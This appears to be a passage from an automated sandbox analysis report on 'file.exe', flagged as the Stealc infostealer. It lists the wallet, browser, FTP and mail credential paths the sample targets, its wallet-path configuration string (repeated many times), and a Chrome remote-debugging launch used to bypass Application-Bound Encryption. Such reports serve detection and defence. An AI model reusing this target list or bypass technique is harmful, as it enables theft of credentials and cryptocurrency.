Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000E97000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Exodus\exodus.wallet\\passphrase.json
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus\exodus.wallet
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2547238777.0000000000DE5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000003.3027537351.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
